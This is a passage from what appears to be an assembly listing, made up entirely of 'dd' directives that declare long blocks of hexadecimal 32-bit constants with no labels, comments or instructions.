0D843BCD7h, 1FF920D2h, 5471835Eh, 43951C32h dd 40D58A4Fh, 9CF1AB0Ah, 8E15B35Bh, 1E5A2FD3h, 4B1B70E2h dd 0DBC193F2h, 28726796h, 0B00560E3h, 8B92BE5Dh, 0ACCFF333h dd 0BBEF740Ch, 40535AA1h, 8A4FE864h, 70713FABh, 5B42A76Eh dd 0A0672CD1h, 0DD8C339Ch, 0D3C86Dh, 6190F138h, 17E10B5h dd 52881723h, 4849103Ch, 1097C069h, 5E22B389h, 1455F2DDh dd 0D3816C16h, 0A0B9BA33h, 3027F8F6h, 7FF68044h, 29232C2h dd 10489E8Ch, 7EC28F5Eh, 0D9A310BAh, 0CF9A4Dh, 0D103718h dd 40A6ADD9h, 905809B4h, 212910DBh, 0DAFD4DD5h, 185860AEh dd 501300F0h, 0F9EB55B5h, 0DF84098h, 4014C639h, 8509E824h dd 2B3F3FEBh, 0E1153Bh, 2FE5600Eh, 4095E7BFh, 7D5EA0AAh dd 900F26DBh, 319714F6h, 3889806Eh, 0F00920E0h, 0DB7D4D75h dd 0F022608Eh, 0DD112D86h dd 5F8095h, 92A5F268h, 42823529h, 0A25780F4h, 1ECA5022h dd 1BF14D45h, 433D60DEh, 40561ECFh, 0AB36668Ah, 90FF3097h dd 304DDCFEh, 9BEA2F74h, 7EFC6BFFh, 0CC83FCE6h, 3612CF5Eh dd 0BFD310CAh, 0F021A7D2h, 0B124B548h, 89BDD09Eh, 0CA55155Fh dd 35F12042h, 68C2A7EBh, 0B0F560D2h, 9985C9F1h, 0C24565A4h dd 901BF474h, 22B75587h, 90F88064h, 6E9EA4ABh, 28A6C0F0h dd 0B0656039h, 49A66D17h, 655AA0CAh, 0A03A32DBh, 9D9BF876h dd 4D6A5711h, 7049FF24h, 0BB760h, 31D560ACh, 502490E8h dd 0F119F44Ah, 7BBF4097h, 40433651h, 60970134h, 20A92081h dd 109D8C49h, 9AD2CF6Ch, 0D5931089h, 0E5D6F97Ah, 903EB8B0h dd 0D6EA6F56h, 77CB7072h, 8386A350h, 1067D046h, 2D2A3959h dd 5013160Dh, 0EEC6DFFAh, 159F304Dh, 0B969DF06h, 573B8013h dd 70042CA2h, 9562B0F5h, 0B0356E1Fh, 11AE7D92h, 46C2A08Ah dd 0A6101AE8h, 32CAEF34h, 4FAB7091h, 0ECF8BF0Ah, 1047C140h dd 0D702DDDBh, 36E310DAh, 1364F21Ah, 0A049C6C3h, 330D65A6h dd 0D01C4077h, 0E4F6AD42h, 61B7D076h, 86E9B8E6h, 0C47B3709h dd 0B2A1A07Ah, 84681EB1h, 0BD1414F2h, 0D07B96E6h, 52637D3Dh dd 1178C010h, 0C3FF6D36h, 0D35085D9h, 611B0F4h, 9053D838h dd 0FF7FE086h, 0BF1EDC1h, 0ACC62012h, 8524CC8Ch, 0B0F5A2E6h dd 56BD073Ch, 0FC6564CFh, 8EC7A0E7h, 0F60FE12Ch, 0CF217246h dd 68DD6497h, 0D1122160h, 0B70658CEh, 0ABB31CC0h, 557EF0F8h dd 902F0760h, 308DCCBEh, 2ED5DB4h, 9047409Ah, 0F56DA026h dd 0C89B85B9h, 30ABDDC4h, 0A66B135Dh, 70E9794Dh, 0BD5417D6h dd 0D03B96EEh, 70F564F1h, 100DC0C0h, 0C3E8B7BEh, 40B60AEFh dd 805E2BAAh, 661F30E3h, 0D788C346h, 0B88C85CBh, 700920E5h dd 6BB9D4Eh, 1D0CB77Eh, 50E3F6A6h, 404DE497h, 93A73B51h dd 0B5DDE0B6h, 0E00D208Fh, 73CC5752h, 0E2BA2Bh, 0C2D5E5EEh dd 18D08510h, 6FB1B0B3h, 0A0F4B073h, 0B5D2E026h, 0D0AB4139h dd 70C3EEA7h, 1B860EBFh, 0A06C66E9h, 506B83ACh, 67B2CFC4h dd 4824B5FEh, 0E0BDD077h, 59DD2DFh, 46F1C042h, 0F1C2A7EAh dd 0B998771Ch, 3744EFA7h, 0C7E02B00h, 486CB5FEh, 5F2DD0C7h dd 0B726FFF8h, 0DDD8D339h, 1027A6BAh, 9DD40DBEh, 0E4B4007Ch dd 5DF188B0h, 257A4028h, 308DAE0Ch, 91A61544h, 0FC392022h dd 6B0CFF6Fh, 0B0D570A0h, 922300FCh, 32E7CDh, 88584098h dd 0EB042F28h, 0E06800B7h, 70A92082h, 14350550h, 0F33F5D1Eh dd 7B36A68Ch, 0CAD0C014h, 328894E8h, 739DC171h, 0FD244C84h dd 83CD00D5h, 0EC8C2360h, 51478269h, 5D24DD10h, 0D0718020h dd 0B05A2058h, 0D5123553h, 331B92F7h, 0CDADF2C1h, 6E4A186h dd 8DF9C54Ch, 0F5D72CFAh, 596D93A7h, 0C0301808h, 113D6926h dd 758BDCE2h, 0F5E308Ah, 6431A14Ch, 0BCE84052h, 397F669Bh dd 0D00BC764h, 0E375357Bh, 58B0B405h, 0F076268Bh, 90458C61h dd 0F0F0E12Ch, 0D0A13EBDh, 786EA99Ah, 0CAC1CC4Eh, 320F92EDh dd 929AF9C4h, 19AB5388h, 89FAB7D2h, 634EAECh, 3E927877h dd 9E24203Fh, 3EA800Dh, 727F14C3h, 0D24A3994h, 0F0DE9338h dd 0CDE60FDFh, 2460A08Fh, 0D058B99Eh, 0F5182920h, 5CCAC039h dd 0ACAF13C5h, 513A7455h, 9CC921DCh, 6DB43A06h, 0A9CCB7h dd 0D8026579h, 3FFC9396h, 0F816AF4Ch, 4E5BF44Ch, 2638890Fh dd 0EC0F0936h, 339ED148h, 1077C050h, 0B0C5609Eh, 501300ECh dd 0F061A03Ah, 90AF4088h, 30FDE0D6h, 0D04B8024h, 70992072h dd 10E7C0C0h, 0B035600Eh, 5083005Ch, 0F0D1A0AAh, 901F40F8h dd 306DE046h, 0D0BB8094h, 700920E2h, 1057C030h, 0B0A5607Eh dd 50F300CCh, 0F041A01Ah, 908F4068h, 30DDE0B6h, 48880364h dd 70791010h, 4E635D21h, 0B31560DEh, 0DD6F43F1h, 5BC0B8D7h dd 60FE3EA1h, 0C69A49Bh, 0BE8F424Dh, 68AB3BB9h, 0CEBECCA1h dd 0B4477B6Ah, 8E2B8D33h, 6DAAA0EAh, 907F82BCh, 0EE40E5ABh dd 0F134E2BCh, 0E85924F0h, 8B07FBh, 0B011F8CEh, 70AB001Ch dd 6591A06Ah, 0A0FEB433h, 48260906h, 90FA84C8h, 33E082A6h dd 0D54C6Bh, 0E954233Eh, 3466858Dh, 0A4A0CAh, 0B7B109Dh dd 2C456376h, 6D644E26h, 7049039Eh, 6487EAE1h, 0AFE73BA9h dd 1AA8106Eh, 0B22CF8B6h, 4BF0A19h, 0D73F2FE2h, 0E0499735h dd 0B37857AAh, 0E7419B55h, 0A0870CA1h, 9792D86Ch, 6D7063CEh dd 903F82A0h, 6EE9650Fh, 0D0CB8094h, 343120F2h, 8767C040h dd 0A077F409h, 22AC68DCh, 0F839DF53h, 0F9F4078h, 402F5409h dd 0D8E88014h, 8C819DE9h, 7CBEC0A0h, 6EB1DDAFh, 0DB32003Ch dd 83381Dh, 24A4B9E8h, 985DD0F4h, 0D0AB8085h, 0E7BCE9BFh dd 104740B1h, 556D326Eh, 4F16F73Ah, 731C9Dh, 0FB14358h dd 33CDDCECh, 0D01C7F78h, 6033A342h, 1D3BB790h, 370560DEh dd 0F883046Eh, 53A09EB2h, 4E9BBDC9h, 0EA40E026h, 50830A94h dd 590D20A9h, 0E411A980h, 0C110A04Bh, 0D1C4C825h, 0B350FF89h dd 5428C16Dh, 0DDAD1CBAh, 98D2B9B0h, 6353799Fh, 10972FE5h dd 8866C6BEh, 5B41F3AAh, 0F0814BDDh, 764EEEA8h, 0B71A75F6h dd 0CE8270FEh, 81BC2A17h, 0DA5518AFh, 0FD588FBFh, 50B34238h dd 98312565h, 14C337F1h, 0E38DE066h, 0E099D427h, 1D015002h dd 0FB267D6h, 0A0070C19h, 0AC9087ECh, 0EF61B078h, 0FFE5C84h dd 710E296h, 6F430E21h, 50D2A080h, 34CB8111h, 8C19390Ah dd 879F0443h, 71BACB6Ah, 37523791h, 0B1633469h, 3A78E8FDh dd 0F1DFF497h, 718E8979h, 31BBD42Fh, 0A511CEE5h, 71279476h dd 0D828B361h, 0B1D37423h, 0A8C4D5CDh, 0F18F347Fh, 35E27E49h dd 310B140Dh, 755630B5h, 13B7D469h, 0A0BDA843h, 61B68B26h dd 0AA7E97A1h, 0C9DDE23Fh, 1BF26625h, 0AC1F619Bh, 0E51C28E4h dd 7DA99F43h, 907F5E3Fh, 48CE2830h, 744BE2E6h, 8AFB222Fh dd 0B8A91A19h, 0C3823EB6h, 58018359h, 0ED7BF1EBh, 5005870h dd 66ADAF87h, 80729355h, 794E2252h, 6617D00Eh, 98BF8763h dd 66336AC4h, 0A01995D7h, 45509837h, 31F5EF57h, 54EB80C4h dd 0A13634E0h, 0E74D2680h, 8D27B38h, 0D02300FCh, 2FD042DFh dd 0B92FAD1Bh, 0FB38E0D6h, 439ABAE9h, 60B2A405h, 10F7C0D0h dd 70D25F26h, 0E29A20ABh, 1A223Dh, 92A44108h, 4D06DD70h dd 559573BDh, 7029F970h, 0F2692D42h, 0D7925191h, 5108DEE0h dd 88FC460Dh, 0FBEA47CCh, 0B9D9233Bh, 0E0F9E4A7h, 3B4CCB62h dd 103C2Bh, 0B02560FEh, 90E00754h, 0C82B5C9Eh, 3BBA877Ch dd 0EEAD55ADh, 55358074h, 7009F950h, 0B4BAD1Fh, 97977B3Dh dd 0A322ABFCh, 0A248Dh, 907F4058h, 0B6ECB49Eh, 0E0441677h dd 67C9E142h, 0D53EB52Eh, 8875FBB8h, 6AD08AD6h, 31A1B081h dd 33F42B68h, 0D73B59B2h, 3765C035h, 8C411297h, 0A727BD75h dd 897BE5D4h, 88BF00ACh, 4709C0A9h, 24E47E79h, 39ADD05Fh dd 0CC6B5DADh, 0F8EF4087h, 6779C049h, 0AC3F69E3h, 643CA844h dd 0EC0E1F63h, 88EF81FAh, 70A6E550h, 0CF822B2Ah, 6539002h dd 0E0EF88E9h, 309C8FBBh, 407E8CFFh, 1671A6CAh, 141A5320h dd 0E250B494h, 4A1A0C6Eh, 0B2F07448h, 1AD0EC0Ah, 82B95464h dd 0EA16AC36h, 0A07014F0h, 661BBFh, 78D3A4Fh, 85DBBC3Dh dd 0F80960D7h, 63A66499h, 0A0FEE489h, 50A3005Ch, 1D5710AAh dd 0D233CFAh, 8DF7AEF7h, 0D0CB5980h, 3489CB44h, 605A6D2Bh dd 35CE07Eh, 0EEDB6A8Ch dd 0DB801FA3h, 0A078BCE3h, 309DE0B6h, 7273DE04h, 0BC7B3541h dd 0A06E9E77h, 0C2925AE6h, 90631073h, 81BA36Ah, 7B0AC7EBh dd 0ADBC58B6h, 0D0AB59F8h, 70E9A0C2h, 92A7C29Bh, 0C92905E4h dd 0B7ED009Ch, 0DD269C7Ah, 106FD045h, 0D6FD6F47h, 609005A5h dd 8591069h, 5BC2A773h, 8971E597h, 5043002Ch, 0EF65B06Ah dd 375E008h, 40266481h, 0D07B8054h, 0F8D0F4AAh, 10833B1Bh dd 2D549FA3h, 50A3F910h, 0F101A0D7h, 907FBC2Dh, 98EDE076h dd 4D642B5Eh, 704962AEh, 0DB61F478h, 162DD03Fh, 0F09889A5h dd 871B008h, 7B4AC62Bh, 2989652Fh, 0D05A8044h, 56FD2082h dd 0D97B3D5Dh, 0B045602Eh, 561F016Ch, 535FCE92h, 0BAB6183Dh dd 190D6FF7h, 55422BFEh, 7029E28Eh, 484E77B9h, 6E11CD15h dd 988C00ECh, 0CB81856h, 0BF360E0Dh, 5B584606h, 0E024FC97h dd 70892362h, 0A2E66CB0h, 0A04EE279h, 56BF804Ch, 0D3FE4A32h dd 3A5698DDh, 0BB5EF97h, 378509E8h, 0C75FE0BFh, 19CB3DCDh dd 0B098605Eh, 68F00BCh, 0D9B325FCh, 5FF4048h, 0E54E389Ch dd 0FEF39721h, 0C8B8FFDCh, 1B726592h, 9C1D808Eh, 0EFE63705h dd 53590681h, 21869ED3h, 0ACAA5B6Bh, 838B702Bh, 6F9B3780h dd 0E527C000h, 0C419F83Ah, 4B7377D9h, 936BCE82h, 0FBE7DE4Dh dd 0C1184671h, 57AE0B6Dh, 600BC4A5h, 89DF9B70h, 2DD44C86h dd 5023F990h, 0F081A057h, 15024894h, 300DA972h, 0D26B8044h dd 0ED300CC6h, 10F7E95Ch, 0B155602Eh, 8E4B0AEFh, 8105F35h dd 7BCAC561h, 290965AFh, 0D0DB80C4h, 667D2402h, 1BB414E8h dd 85E6B88Fh, 0D51E3749h, 0F071D9BEh, 90AF4084h, 0BA65D702h dd 480ED72Fh, 28C76099h, 50EF6859h, 89064DAh, 0B3EA788Fh dd 9530C8FFh, 1572478Dh, 307DE9C2h, 0D0BB808Ch, 0F589F235h dd 1067A9B2h, 187ED47Eh, 6BC6B56Fh, 959C962h, 0BAF43A2Fh dd 70DDD0DDh, 352183E8h, 7089F90Ch, 0DD8E18F9h, 1A58FFFh dd 0CEE08AE6h, 46B1B0B1h, 7B0C0440h, 0ADFBDFE7h, 0D0AB5922h dd 6C29244Dh, 8D781D0h, 5723DD0Eh, 8339013Ch, 531EC052h dd 749B59FDh, 279F2830h, 5488CF0Bh, 60591069h, 0E4A7C080h dd 162ED0C7h, 26B0B8C2h, 4777C168h, 0FBAB44E0h, 96557087h dd 59D24085h, 608BA83Dh, 949CEFF0h, 0D0657035h, 0E5B3008Ch dd 0B2A977CBh, 0D67A879Ch, 8ED1FEBh, 55E14ADDh, 7049F94Eh dd 0A6637AD7h, 43199856h, 0D19B5EF9h, 6CF6578Ah, 0D0BF30AFh dd 5C0DE0E6h, 0F8970035h, 79F5C588h, 6799C0C0h, 0EEB90DA5h dd 0E3FA005Ch, 1A243Dh, 902F4008h, 0E086F596h, 0C488254h dd 0C6191029h, 19EB3D2Dh, 0B035607Eh, 57F000DCh, 6D5B189Ah dd 908F098Bh, 0CAE2BB1Ch, 0C34351BCh, 6052A4E5h, 10D8C0B0h dd 4027D4FEh, 0ED100A33h, 0B0C1B061h, 0F50543C4h, 304DA919h dd 48C52BEAh, 0EDF0B051h, 1037E99Ch, 0B095626Eh, 984F02AFh dd 0D94E0500h, 27214048h, 6E756D1Dh, 60C38004h, 7692029h dd 0D93B3D9Dh, 0B0FD60EEh, 615F002Ch, 539DC0D2h, 14740F7Dh dd 303DD0FDh, 58B8068h, 664170B7h, 267Bh, 7510BA4Eh, 693F7DD1h dd 0E811A0FAh, 0A1B44038h, 503068A0h, 91DDDCEh, 7EF2012h dd 0A73D0081h, 0D98DC6C9h, 0EAD00A04h, 0B081B021h, 0F5C54304h dd 300DA958h, 55762B2Ah, 70C9F916h, 1007D0E0h, 70D6C848h dd 942303F0h, 9256AAC2h, 0F23F302Fh, 0AD3BDFFBh, 0D0EB5936h dd 0B7C80867h, 95AA67D5h, 0B0D5891Ah, 901300ECh, 0C011AE8Eh dd 791BBD8Ah, 18A7E0E6h, 8B0EDB97h, 0E9C7EFFDh, 255033h dd 2CB2170Eh, 50831053h, 1C51A0AAh, 267790FCh, 9CE2599Bh dd 0B7BB7056h, 37AA88E5h, 263FE775h, 0FB0C4F33h, 400C7C4Fh dd 0F141A01Ah, 860D68h, 245ADA76h, 362B700Bh, 0B8DF2F77h dd 0B5CD0021h, 0B0054982h, 51D3AB22h, 6C365720h, 90FF30EFh dd 5D4DE226h, 54188F51h, 70E91099h, 0A537BC10h, 0B6C51074h dd 40ACB62Fh, 6FC62AFAh, 0D16F303Fh, 0E81BD0B6h, 40A2010Ah dd 0C0514B32h, 0DA2CBA40h, 16F570E5h, 69BF7D51h, 0F091A07Ah dd 0A03440C0h, 58B06820h, 9A0DD4Eh, 76F2092h, 87EC180h dd 2D5F98AEh, 50A3F9A7h, 0D6E00830h, 1582879Dh, 308DA9F2h dd 0D0DB80C4h, 4D2E3581h, 0D80668FEh, 899AC5B4h, 0F73D000Ch dd 0C9DB6077h, 0A0FDB02Bh, 0AC8A37E6h, 0D05B701Bh, 3DA94082h dd 27AA31B5h, 0B9AD4633h, 6DF00A64h, 30E1B0C1h, 0F5254324h dd 306DA979h, 4DE42B4Ah, 7029E282h, 0B5ED81BAh, 0B0A5A2FEh dd 88B3AB02h, 0D9AD2528h, 0E8354068h, 63A4AA4Dh, 9B7FD89h dd 708C2052h, 0EC4BC1B0h, 0C9A1E5A7h, 5073003Ch, 1076A49Ah dd 7993BDD5h, 305DE046h, 0D6B88384h, 73E2DEFAh, 0D60E18C5h dd 0B06D8F7Fh, 0B816F736h, 13D05A49h, 0B903BDA5h, 30CDE096h dd 0D88788F4h, 0C803E992h, 1B726A63h, 0C981E547h, 5053001Ch dd 615B07Ah, 15053F38h, 302DA9BAh, 0DD71E023h, 70BD2839h dd 19C35D02h, 0CC35603Eh, 547F809Dh, 9970C83Fh, 71EF474Dh dd 69DCB8DCh, 881517C1h, 0D43807Bh, 10A7A9B4h, 0ABDFB58h dd 6386B7A3h, 7A24DDh, 90CF60A8h, 0B75974F6h, 58E00B89h dd 47B910D0h, 0DC48391Fh, 2D4F287Eh, 50B339F8h, 19504860h dd 15D2C7EDh, 309DE9E2h, 0D09B80B4h, 0F88F2C96h, 957D8380h dd 0B0D58912h, 0A8AD0A55h, 8D6B8003h, 90BF493Ch, 0BA653BF0h dd 830ED72Bh, 6082A4F5h, 10E7C3C0h, 37DC940Dh, 0F0008B29h dd 0C7D1B068h, 0FCD7B9C0h, 0AD1C9913h, 0D0CB5918h, 708920E2h dd 95E4B6FBh, 0B0B589B2h, 0D0330856h, 0D8F4A3A1h, 0D44C3CEBh dd 71DDD0D2h, 577B88E4h, 0A7FC3B7h, 7207F108h, 339D0653h dd 50DB68BCh, 11B3A08Ah, 27A79BB6h, 2A3A19A1h, 10CCD81Ah dd 0AF79CBE4h, 191E586Ah, 2DB4CFCFh, 50C3F930h, 7021A0FAh dd 0CBE62A74h, 6E49650Bh, 982280D4h, 805E8B9h, 5BC2A965h dd 0D84F235Eh, 2B36791Fh, 0D90125E5h, 15B240A8h, 303DE982h dd 0F07B8054h, 87802675h, 0F97E88B8h, 0D77DB3C3h, 0D7E3EB24h dd 434855h, 8E44128h, 319DD0B4h, 0B4A70BCBh, 8E6A916h dd 8787D070h, 0A097DC01h, 0D8A02BFCh, 1B71B008h, 0A088BC13h dd 300DA0E6h, 43590C34h, 6C6BCBBAh, 8FCA0ED0h, 0A087A4D1h dd 0D496006Ch, 0F0E1A161h, 902F3530h, 7E3A1B56h, 0BFFF3D62h dd 0A4DD0E20h, 8502C074h, 0B0A54E5Ch, 8E5B7D63h, 6784A03Ah dd 0D89E04B0h, 0B7D533C7h, 0E9534CD5h, 0E7187F35h, 15281Bh dd 6E28ABFEh, 8CF08958h, 0EFC1B0D8h, 1588382Ah, 304DA296h dd 0B83D3FDh, 70F9A03Fh, 0E4951820h, 5108F7Fh, 50F34274h dd 1CD7485Ch, 25F6C7ADh, 30DDA22Eh, 0CF134A6Dh, 0A2842C88h dd 0BBC5911h, 0B0064066h, 86CF072Ch, 0EFA1A079h, 0A0ADC433h dd 0A8CAE316h, 3C8B70A6h, 0EDD848EEh, 1027C0A2h, 9771A6D1h dd 4001F81Fh, 4017A3EAh, 0FB33A360h, 0A8226307h, 0D0FB7016h dd 0AB142BF5h, 0F716B764h, 17E560BDh, 0A8A0F918h, 0E381B018h dd 90D03523h, 289AE3F6h, 726B7006h, 4D28F811h, 10E33DD5h dd 0F0D0602Eh, 64E22B7Eh, 1C97489Ah, 3D08C7EDh, 309DA2EEh dd 0D037FDB1h, 0ED2C2002h, 10870294h, 0EEEDE59Bh, 509A00DCh dd 0E36DE74Fh, 90AFF50Ah, 38BCABD6h, 0D0070321h, 301C2072h dd 42AC3C2h, 6EBDE50Bh, 8051006Ch, 2E8915D3h, 256A40E8h dd 307DEE14h, 0DBFBFD5Eh, 7009B765h, 10F3D930h, 3C9607Eh dd 505F7DD9h dd 12C1A01Ah, 7143773h, 0B7DDE0B6h, 8F02814Ah, 7D515046h dd 19222751h, 0A057C841h, 4F0E6D3Ch, 0F31C0Dh, 0F88443D8h dd 0B94DD064h, 0E0D99CF7h, 77E9ABC2h, 75848Bh, 0C77D525Eh dd 4011202Fh, 158A12FAh, 406F4048h, 43A5B744h, 5D0B80E4h dd 31D43C7Ch, 0CEA6C299h, 0CC724BBEh, 0A54310DEh, 0D52366h dd 545A11CDh, 57CECCE2h, 55EE435Dh, 70B9E21Ah, 18CC3B50h dd 186570FCh, 6B06ACFDh, 0F0014979h, 8A04C028h, 1EA1A78Bh dd 0D8A69BBBh, 7365A21Bh, 0BD02785h, 431BD229h, 74178BF9h dd 0C9F507C9h, 7B4A4098h, 6EF83F27h, 0B0774AB3h, 22892082h dd 0C7E80A1h, 6CC2E73Ah, 0D993102Eh, 0A3603Dh, 8D8B508h dd 2F7DE02Dh, 0E0095827h, 0CD7EC6F2h, 0F29DB76h, 6E90744Ch dd 27BD3EE8h, 3FD2E742h, 959F4078h, 0B9EDE0C6h, 2AFE14DAh dd 0DD18D71Fh, 10E7A676h, 0B32C38BDh, 50741ACFh, 4695709Ah dd 3BBA1A10h, 40330EC1h, 0AB6BFD84h, 71FEA8DBh, 8CAFC020h dd 585C8F8Ah, 50E300CBh, 0AA45C557h, 0DF24543Fh, 5EBAC301h dd 91840C8Bh, 24FEFF42h, 1BB7D052h, 0A0EB9269h, 84D0892Ch dd 48A1B038h, 90EF40DFh, 916905E3h, 33E5D7Dh, 7F0BC51Ch dd 0C0B719D8h, 5983799Ch, 0B51EDD48h, 357977EAh, 0E82A4760h dd 30ADE073h, 35499D25h, 0BEE8F4EFh, 298590CBh, 8D39B968h dd 3331D31h, 0D329DF72h, 90DD981Dh, 0D50E0F6h, 770AE106h dd 0FE8930C5h, 6C70AE77h, 0B0320749h, 0B881E8D1h, 0F8195F33h dd 0DF3F4018h, 51F5A341h, 9AB81FD2h, 4A8274ABh, 0A9251057h dd 0DD93908h, 83139DD1h, 53C89F12h, 0D0370BDh, 40125051h dd 20A76A24h, 0F3702158h, 0C19A4Bh, 8CF9D90Eh, 6A9D8D19h dd 0B0FBA0BAh, 51D7857Bh, 0BDE036h, 60281764h, 0C80910FDh dd 105BC02Fh, 5BA6BACAh, 0E1F8DE9h, 4615A00Ah, 253AEF64h dd 30CDA282h, 0B173C85h, 60BB6CC5h, 6E3C27A0h, 0E31570C0h dd 18D0857Dh, 0BAB1B0C9h, 0BAA1AD2Dh, 0E8D0E016h, 871787A1h dd 0E9E920C2h, 75088Bh, 0DA853A5Eh, 2A318D89h, 30A6A0EAh dd 9013BC4Dh, 0F0E8E096h, 0CFE13014h, 885ACA82h, 50A7C080h dd 6E620FF8h, 0CF43101Ah, 6CA0DF12h, 90DF3EB5h, 0EE01657Dh dd 5DF08064h, 70B9E282h, 4EFF4D63h, 5EB6604Eh, 6B6300B6h dd 0FF8E4Dh, 3B77C328h, 2D4A6467h, 0D08180C4h, 2E0575CBh dd 8562C070h, 0B0C54ED4h, 5BD6F87Dh, 0F0761ECEh, 44B998h dd 1F0DD0A4h, 0A19A83EBh, 6C035132h, 0BC6C67FFh, 8345705Ch dd 4065BEDFh, 0E32125BAh, 9034AA84h, 0B9C6B356h, 0E0094C27h dd 0A1EAD1F2h, 0B67C798h, 1DBCB08Eh, 5013366Ah, 6C60E0ADh dd 909F3DA9h, 0EE25653Dh, 887A8024h, 7089F247h, 0A30F7B29h dd 0A04EE479h, 5073004Ch, 0EFC7957Ah, 0A01F1863h, 2F8FB336h dd 33C4F43h, 0EC7EA9F1h, 9847D062h, 0B09539EFh, 4FD74B45h dd 21C88Dh, 8FAD1358h, 0DB3E3765h, 0CC980913h, 0AF691080h dd 12FE2F85h, 35F2C355h, 0A356185Dh, 40A4B437h, 68309B0Fh dd 66BE9013h, 0FA644F91h, 0EFE6B4A9h, 0DE28B4EAh, 84B0DB2Eh dd 4FCFC225h, 2C9EB028h, 0D9324700h, 0ADA8A163h, 0D00BC244h dd 8CFDAB5Fh, 8BD7B360h, 0B0E5083Ch, 9BBAC30Ch, 950EAB6Fh dd 90DF0170h, 5FD45BDAh, 712F247Bh, 0F6E526C0h, 3033C28Dh dd 0BCF94C94h, 24853468h, 9DF19C15h, 7F8E300h, 88CAED65h dd 0D7C780F7h, 1E6C53DDh, 0DFFCB750h, 376CCF8Fh, 99BEF5EDh dd 6C70E374h, 0BB9A0766h, 7DC017B9h, 0E7C787E2h, 35C83FEBh dd 1EB6030Dh, 0C325E40Fh, 80B87719h, 0E3207477h, 0FB6A3D74h dd 5848F347h, 0CBDE16AFh, 36A11035h, 0A852E774h, 30C4E5Dh dd 6AD77CD9h, 0BE341FA3h, 908F2E50h, 0A380F8B6h, 0D0C357D1h dd 15792052h, 24B6151Fh, 46EE60DEh, 3463003Dh, 5D3C9273h dd 90EF82B0h, 4A6F5982h, 0A6D056F3h, 6F4CA5CBh, 0BABEC010h dd 0ACB6392h, 9503FB2Bh, 0EFF425F3h, 4FE24048h, 30DDE0A0h dd 928887E4h, 0FA59202Fh, 0BA50441h, 0B0F8CC4Ah, 58828B1Ch dd 50310055h, 2A633718h, 252DE003h, 0F05B6074h, 6F2CA4ABh dd 879EC0F0h, 0B0656086h, 78640E2Dh, 0D3C00F52h, 0CEBBB529h dd 72A0E086h, 0D0ABE145h, 70FD418Fh, 0DB614B78h, 0C6575F3Fh dd 0CF2300FDh, 3360EDh, 0CE364098h, 40575BDEh, 0D44AC10Dh dd 6D84E04Fh, 0C68078D1h, 30C2D92Eh, 4F93102Eh, 0F099ACF0h dd 612F4108h, 23DB2EEEh, 4E3890B1h, 0C1191029h, 8FBCF060h dd 56B570A5h, 884C76BCh, 4C39B4D2h, 15EA4716h, 6E79DFF4h dd 652C2265h, 707939E6h, 95CADD09h, 0B035897Ah, 5173004Ch dd 6DF8C2AEh, 901F4964h, 305DE033h, 352C84D7h, 7009F956h dd 0D7A227C5h, 35165A93h, 50F33940h, 0E831A00Ah, 907F3E40h dd 2AB589A6h, 0A81B80F4h, 0B3CF56EAh, 9C3C3A95h, 2A057015h dd 2967EAB0h, 6D29A06Ah, 90FF49FCh, 0AD0C8034h, 0D07B99E8h dd 70D920BAh, 9DA7B9EBh, 0B06549A0h, 2380EC9Bh, 2A246Dh dd 905F4038h, 0B0C8347Eh, 0E0E4947Fh, 0DD2522h, 0D99425F0h dd 7CE260CEh, 0EAC88071h, 0ED81B021h, 1502A694h, 300DA972h dd 0E06B8044h, 0B53929C6h, 10F7E984h, 2FCE172Ch, 40E1BC1Fh dd 4A19A0CAh, 68CAC7EAh, 0E3842D23h, 0D0D9114Ch, 3496AB02h dd 0F77D092h, 0A007E031h, 0ECCA28ECh, 6C709F03h, 90AF4257h dd 6ED5354Bh, 2AC28014h, 8E723AEh, 5B82A504h, 0AE00E20Fh dd 9604005Ch, 0F0D1408Eh, 5E69BB98h, 3CA7E3F0h, 0C3CB9A95h dd 60D2A465h, 1057C030h, 39B1D55Eh, 4031C827h, 80B62D1Ah dd 78F309Fh, 40CD7829h, 0A3875304h, 707344C9h, 105C35A0h dd 3F1570DEh, 0AF63B1DFh, 1B155388h, 0A0C8BC53h, 304DE026h dd 7A178754h, 0B3E920C2h, 41DF98A1h, 37ACCFC1h, 4011781Fh dd 0E3F325FAh, 906FA8C4h, 0A84A5B96h, 570B7026h, 0A6DA1078h dd 10A7209Ch, 0B82F3BAEh, 197202CDh, 0D7855267h, 0A0CFD83Bh dd 0D8B25B06h, 3E7B7064h, 8C95AB54h, 0FF1D71h, 2F65604Eh dd 50B328F1h, 568CA0DAh, 88054130h, 9B1CF773h, 8E5FFD3Dh dd 0EDB02022h, 1077E9DCh, 0B0D560EEh, 48CE0270h, 0C97DD247h dd 5414B9A8h, 0B70DD0A4h, 5C6865h, 792DA593h, 10B7C0C0h dd 0AE71601Eh, 0F84418C1h, 53609CCFh, 8F2B1BDFh, 9EA8B883h dd 7FF531A0h, 0E5E2DF96h, 4050EBh, 0F8FAD98Eh, 1F03101Eh dd 0E38F7F8Eh, 131CB247h, 30EDE187h, 9B9ED3Eh, 6A9E2052h dd 424F1287h, 390372EAh, 335BA9FCh, 36001F40h, 8F0BFA71h dd 0AD6CD0ECh, 0D09B9908h, 50F920D2h, 654C8193h, 6C0AD95Bh dd 4FE3107Eh, 21C88Dh, 0E8E2C358h, 30CDE0A6h, 593343CDh dd 706953C3h, 0D03C6F90h, 0B105700Fh, 6453002Ch, 0E8E4677Bh dd 0F08FE028h, 69B9653Fh, 0D08B8054h, 6B0D10B2h, 63DE98D2h dd 379F0F1Fh, 40013C27h, 6916C3EAh, 8D361801h, 0EEED5DFBh dd 0CE9A80E4h, 0A7C42387h, 941CEF88h, 0AFE570B5h, 0E433000Ch dd 0A8062B4Eh, 8FCF306Ah, 405F3069h, 3CE88344h, 71B910D0h dd 4D3BD8h, 0EE19E5B3h, 169C008Ch, 69F4D3C2h, 0CE403862h dd 88F06356h, 54580BB4h, 482910C0h, 107799C0h, 0E9BD229Dh dd 0D6C3C3EBh, 9A22ADh, 14340F88h, 30FDD0BDh, 46B8024h dd 88162374h, 0A2E7D0D0h, 2CB2170Eh, 50831053h, 1DD1A2AAh dd 36146E4h, 406664C1h, 0D4BB8094h, 0E60FF5E2h, 9043BBh dd 2C22577Eh, 50F310A3h dd 5D41A05Ah, 8E92BA71h, 7ADF3AF4h, 0D9C24FE6h, 0AEAB27D8h dd 0EEF9C2FAh, 0CCC753F7h, 0DBFF22C5h, 5534F888h, 90EF828Ch dd 0A3C9DF26h, 4B7E979Eh, 60AB7815h, 5ECC6710h, 83857090h dd 4011AC3Fh, 0AB69FFAh, 0D6F303Eh, 40FF0009h, 0F87805E4h dd 0A1591070h, 5BA71A52h, 0A037AC59h, 0F2D0771Ch, 9391B054h dd 